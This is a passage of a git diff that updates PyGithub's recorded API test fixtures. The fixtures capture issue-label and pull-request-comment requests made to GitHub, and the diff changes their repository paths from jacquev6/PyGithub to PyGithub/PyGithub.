null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4972'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"d135d74d2ea2159d044676a220d41d3a\"'), ('date', 'Sun, 27 May 2012 09:06:39 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"color\":\"e10c02\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\"},{\"color\":\"444444\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\"},{\"color\":\"02e10c\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\"}]\n+\n+DELETE /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+204\n+[('status', '204 No Content'), ('x-ratelimit-remaining', '4971'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"d41d8cd98f00b204e9800998ecf8427e\"'), ('date', 'Sun, 27 May 2012 09:06:39 GMT')]\n+\n+\n+GET /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4970'), ('content-length', '2'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"d751713988987e9331980363e24189ce\"'), ('date', 'Sun, 27 May 2012 09:06:40 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[]\n+\n+PUT /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} [\"Bug\", \"Question\"]\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4969'), ('content-length', '207'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"1a56634d9c1050a88592ff55ed8adc62\"'), ('date', 'Sun, 27 May 2012 09:06:40 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+\n+GET /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4968'), ('content-length', '207'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"1a56634d9c1050a88592ff55ed8adc62\"'), ('date', 'Sun, 27 May 2012 09:06:41 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testDeleteAndSetLabels.txt","filename":"test/ReplayData/Issue.testDeleteAndSetLabels.txt","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testDeleteAndSetLabels.txt","deletions":0},{"changes":5,"additions":5,"status":"added","sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -0,0 +1,5 @@\n+GET /repos/jacquev6/PyGithub/issues/28/labels {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4996'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"c9f9beccb03030beaf7b80927da6fef6\"'), ('date', 'Sun, 27 May 2012 08:56:31 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testGetLabels.txt","filename":"test/ReplayData/Issue.testGetLabels.txt","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testGetLabels.txt","deletions":0}],"parents":[{"sha":"93dcae5cf207de376c91d0599226e7c7563e1d16","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/93dcae5cf207de376c91d0599226e7c7563e1d16"}],"commit":{"tree":{"sha":"fa0251344d6b0b9f69f33c1faf6e3323001b309d","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/fa0251344d6b0b9f69f33c1faf6e3323001b309d"},"message":"Test (and implement) Issue.*_label*\n\nAnd this commit will be used to test PullRequests","url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/8a4f306d4b223682dd19410d4a9150636ebe4206","author":{"email":"vincent@vincent-jacques.net","date":"2012-05-27T02:07:47-07:00","name":"Vincent Jacques"},"committer":{"email":"vincent@vincent-jacques.net","date":"2012-05-27T02:07:47-07:00","name":"Vincent Jacques"}},"author":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/8a4f306d4b223682dd19410d4a9150636ebe4206","committer":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146}} +{"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","stats":{"additions":131,"total":135,"deletions":4},"files":[{"changes":17,"additions":14,"status":"modified","sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -110,7 +110,7 @@ def user( self ):\n return self.__user\n \n def add_to_labels( self, *labels ):\n- post_parameters = labels\n+ post_parameters = [ label.name for label in labels ]\n status, headers, data = self.__requester.request(\n \"POST\",\n str( self.url ) + \"/labels\",\n@@ -131,7 +131,12 @@ def create_comment( self, body ):\n return IssueComment.IssueComment( self.__requester, data, completion = NoCompletion )\n \n def delete_labels( self ):\n- pass\n+ status, headers, data = self.__requester.request(\n+ \"DELETE\",\n+ str( self.url ) + \"/labels\",\n+ None,\n+ None\n+ )\n \n def edit( self, title = DefaultValueForOptionalParameters, body = DefaultValueForOptionalParameters, assignee = DefaultValueForOptionalParameters, state = DefaultValueForOptionalParameters, milestone = DefaultValueForOptionalParameters, labels = DefaultValueForOptionalParameters ):\n post_parameters = {\n@@ -216,7 +221,13 @@ def remove_from_labels( self, label ):\n )\n \n def set_labels( self, *labels ):\n- pass\n+ post_parameters = [ label.name for label in labels ]\n+ status, headers, data = self.__requester.request(\n+ \"PUT\",\n+ str( self.url ) + \"/labels\",\n+ None,\n+ post_parameters\n+ )\n \n def __initAttributes( self ):\n self.__assignee = None","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Issue.py","filename":"src/github/Issue.py","blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Issue.py","deletions":3},{"changes":7,"additions":7,"status":"modified","sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -1,6 +1,8 @@\n # WARNING: this file is generated automaticaly.\n # Do not modify it manually, your work would be lost.\n \n+import urllib\n+\n import PaginatedList\n from GithubObject import *\n \n@@ -43,6 +45,11 @@ def edit( self, name, color ):\n )\n self.__useAttributes( data )\n \n+ # @toto Remove '_identity' from the normalized json description\n+ @property\n+ def _identity( self ):\n+ return urllib.quote( self.name )\n+\n def __initAttributes( self ):\n self.__color = None\n self.__name = None","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Label.py","filename":"src/github/Label.py","blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Label.py","deletions":0},{"changes":26,"additions":25,"status":"modified","sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -3,7 +3,8 @@\n class Issue( Framework.TestCase ):\r\n def setUp( self ):\r\n Framework.TestCase.setUp( self )\r\n- self.issue = self.g.get_user().get_repo( \"PyGithub\" ).get_issue( 28 )\r\n+ self.repo = self.g.get_user().get_repo( \"PyGithub\" )\r\n+ self.issue = self.repo.get_issue( 28 )\r\n \r\n def testAttributes( self ):\r\n self.assertEqual( self.issue.assignee.login, \"jacquev6\" )\r\n@@ -47,3 +48,26 @@ def testGetComments( self ):\n \r\n def testGetEvents( self ):\r\n self.assertListKeyEqual( self.issue.get_events(), lambda e: e.id, [ 15819975, 15820048 ] )\r\n+\r\n+ def testGetLabels( self ):\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Project management\", \"Question\" ] )\r\n+\r\n+ def testAddAndRemoveLabels( self ):\r\n+ bug = self.repo.get_label( \"Bug\" )\r\n+ question = self.repo.get_label( \"Question\" )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Project management\", \"Question\" ] )\r\n+ self.issue.remove_from_labels( bug )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Project management\", \"Question\" ] )\r\n+ self.issue.remove_from_labels( question )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Project management\" ] )\r\n+ self.issue.add_to_labels( bug, question )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Project management\", \"Question\" ] )\r\n+\r\n+ def testDeleteAndSetLabels( self ):\r\n+ bug = self.repo.get_label( \"Bug\" )\r\n+ question = self.repo.get_label( \"Question\" )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Project management\", \"Question\" ] )\r\n+ self.issue.delete_labels()\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [] )\r\n+ self.issue.set_labels( bug, question )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Question\" ] )\r","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/test/Issue.py","filename":"test/Issue.py","blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/test/Issue.py","deletions":1},{"changes":45,"additions":45,"status":"added","sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -0,0 +1,45 @@\n+GET /repos/PyGithub/PyGithub/labels/Bug {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4992'), ('content-length', '97'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"569c414d87e8ec43ec269a9e28bc2982\"'), ('date', 'Sun, 27 May 2012 09:04:01 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+{\"color\":\"e10c02\",\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug\",\"name\":\"Bug\"}\n+\n+GET /repos/PyGithub/PyGithub/labels/Question {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4991'), ('content-length', '107'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"b659c8dcc1212c71f826547c3cc7ae99\"'), ('date', 'Sun, 27 May 2012 09:04:02 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}\n+\n+GET /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4990'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"c9f9beccb03030beaf7b80927da6fef6\"'), ('date', 'Sun, 27 May 2012 09:04:03 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+\n+DELETE /repos/PyGithub/PyGithub/issues/28/labels/Bug {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4989'), ('content-length', '237'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"46cc70bad88a09b559a5e67089005105\"'), ('date', 'Sun, 27 May 2012 09:04:03 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+\n+GET /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4988'), ('content-length', '237'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"46cc70bad88a09b559a5e67089005105\"'), ('date', 'Sun, 27 May 2012 09:04:04 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+\n+DELETE /repos/PyGithub/PyGithub/issues/28/labels/Question {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4987'), ('content-length', '129'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"5352ae15c8a5a36c6cace63be9367332\"'), ('date', 'Sun, 27 May 2012 09:04:04 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"}]\n+\n+GET /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4986'), ('content-length', '129'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"5352ae15c8a5a36c6cace63be9367332\"'), ('date', 'Sun, 27 May 2012 09:04:05 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"}]\n+\n+POST /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} [\"Bug\", \"Question\"]\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4985'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"d135d74d2ea2159d044676a220d41d3a\"'), ('date', 'Sun, 27 May 2012 09:04:06 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"color\":\"e10c02\",\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug\",\"name\":\"Bug\"},{\"color\":\"444444\",\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management\",\"name\":\"Project management\"},{\"color\":\"02e10c\",\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Question\",\"name\":\"Question\"}]\n+\n+GET /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4984'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"c9f9beccb03030beaf7b80927da6fef6\"'), ('date', 'Sun, 27 May 2012 09:04:06 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testAddAndRemoveLabels.txt","filename":"test/ReplayData/Issue.testAddAndRemoveLabels.txt","blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testAddAndRemoveLabels.txt","deletions":0},{"changes":35,"additions":35,"status":"added","sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -0,0 +1,35 @@\n+GET /repos/PyGithub/PyGithub/labels/Bug {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4974'), ('content-length', '97'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"fe2e942523eecb156d100829a6347516\"'), ('date', 'Sun, 27 May 2012 09:06:37 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"}\n+\n+GET /repos/PyGithub/PyGithub/labels/Question {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4973'), ('content-length', '107'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"931e58d337b2290717303141eda89cd7\"'), ('date', 'Sun, 27 May 2012 09:06:38 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+{\"color\":\"02e10c\",\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Question\",\"name\":\"Question\"}\n+\n+GET /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4972'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"d135d74d2ea2159d044676a220d41d3a\"'), ('date', 'Sun, 27 May 2012 09:06:39 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"color\":\"e10c02\",\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug\",\"name\":\"Bug\"},{\"color\":\"444444\",\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management\",\"name\":\"Project management\"},{\"color\":\"02e10c\",\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Question\",\"name\":\"Question\"}]\n+\n+DELETE /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+204\n+[('status', '204 No Content'), ('x-ratelimit-remaining', '4971'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"d41d8cd98f00b204e9800998ecf8427e\"'), ('date', 'Sun, 27 May 2012 09:06:39 GMT')]\n+\n+\n+GET /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4970'), ('content-length', '2'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"d751713988987e9331980363e24189ce\"'), ('date', 'Sun, 27 May 2012 09:06:40 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[]\n+\n+PUT /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} [\"Bug\", \"Question\"]\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4969'), ('content-length', '207'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"1a56634d9c1050a88592ff55ed8adc62\"'), ('date', 'Sun, 27 May 2012 09:06:40 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+\n+GET /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4968'), ('content-length', '207'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"1a56634d9c1050a88592ff55ed8adc62\"'), ('date', 'Sun, 27 May 2012 09:06:41 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testDeleteAndSetLabels.txt","filename":"test/ReplayData/Issue.testDeleteAndSetLabels.txt","blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testDeleteAndSetLabels.txt","deletions":0},{"changes":5,"additions":5,"status":"added","sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -0,0 +1,5 @@\n+GET /repos/PyGithub/PyGithub/issues/28/labels {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4996'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"c9f9beccb03030beaf7b80927da6fef6\"'), ('date', 'Sun, 27 May 2012 08:56:31 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testGetLabels.txt","filename":"test/ReplayData/Issue.testGetLabels.txt","blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testGetLabels.txt","deletions":0}],"parents":[{"sha":"93dcae5cf207de376c91d0599226e7c7563e1d16","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/93dcae5cf207de376c91d0599226e7c7563e1d16"}],"commit":{"tree":{"sha":"fa0251344d6b0b9f69f33c1faf6e3323001b309d","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/fa0251344d6b0b9f69f33c1faf6e3323001b309d"},"message":"Test (and implement) Issue.*_label*\n\nAnd this commit will be used to test PullRequests","url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/8a4f306d4b223682dd19410d4a9150636ebe4206","author":{"email":"vincent@vincent-jacques.net","date":"2012-05-27T02:07:47-07:00","name":"Vincent Jacques"},"committer":{"email":"vincent@vincent-jacques.net","date":"2012-05-27T02:07:47-07:00","name":"Vincent Jacques"}},"author":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/8a4f306d4b223682dd19410d4a9150636ebe4206","committer":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146}} https POST api.github.com None -/repos/jacquev6/PyGithub/pulls/31/comments +/repos/PyGithub/PyGithub/pulls/31/comments {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} -{"body": "Comment created by PyGithub", "commit_id": "8a4f306d4b223682dd19410d4a9150636ebe4206", "position": 5, "path": "src/github/Issue.py"} +{"body": "Comment created by PyGithub", "commit_id": "8a4f306d4b223682dd19410d4a9150636ebe4206", "line": 5, "path": "src/github/Issue.py"} 201 -[('status', '201 Created'), ('x-ratelimit-remaining', '4953'), ('content-length', '937'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"7ca841d45253326d61bee20c809872dc"'), ('date', 'Sun, 27 May 2012 09:40:12 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/repos/jacquev6/PyGithub/pulls/comments/886298')] -{"updated_at":"2012-05-27T09:40:12Z","position":5,"original_position":5,"body":"Comment created by PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub/pulls/comments/886298","commit_id":"8a4f306d4b223682dd19410d4a9150636ebe4206","created_at":"2012-05-27T09:40:12Z","user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"original_commit_id":"8a4f306d4b223682dd19410d4a9150636ebe4206","path":"src/github/Issue.py","id":886298,"_links":{"self":{"href":"https://api.github.com/repos/jacquev6/PyGithub/pulls/comments/886298"},"html":{"href":"https://github.com/jacquev6/PyGithub/pull/31#r886298"},"pull_request":{"href":"https://api.github.com/repos/jacquev6/PyGithub/pulls/31"}}} - +[('status', '201 Created'), ('x-ratelimit-remaining', '4953'), ('content-length', '937'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"7ca841d45253326d61bee20c809872dc"'), ('date', 'Sun, 27 May 2012 09:40:12 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/repos/PyGithub/PyGithub/pulls/comments/886298')] +{"updated_at":"2012-05-27T09:40:12Z","line":5,"original_position":5,"body":"Comment created by PyGithub","url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/comments/886298","commit_id":"8a4f306d4b223682dd19410d4a9150636ebe4206","created_at":"2012-05-27T09:40:12Z","user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"original_commit_id":"8a4f306d4b223682dd19410d4a9150636ebe4206","path":"src/github/Issue.py","id":886298,"_links":{"self":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/comments/886298"},"html":{"href":"https://github.com/PyGithub/PyGithub/pull/31#r886298"},"pull_request":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/31"}}} diff --git a/tests/ReplayData/PullRequest.testCreateIssueComment.txt b/tests/ReplayData/PullRequest.testCreateIssueComment.txt index 16c8a47c15..8e82c92826 100644 --- a/tests/ReplayData/PullRequest.testCreateIssueComment.txt +++ b/tests/ReplayData/PullRequest.testCreateIssueComment.txt @@ -2,10 +2,9 @@ https POST api.github.com None 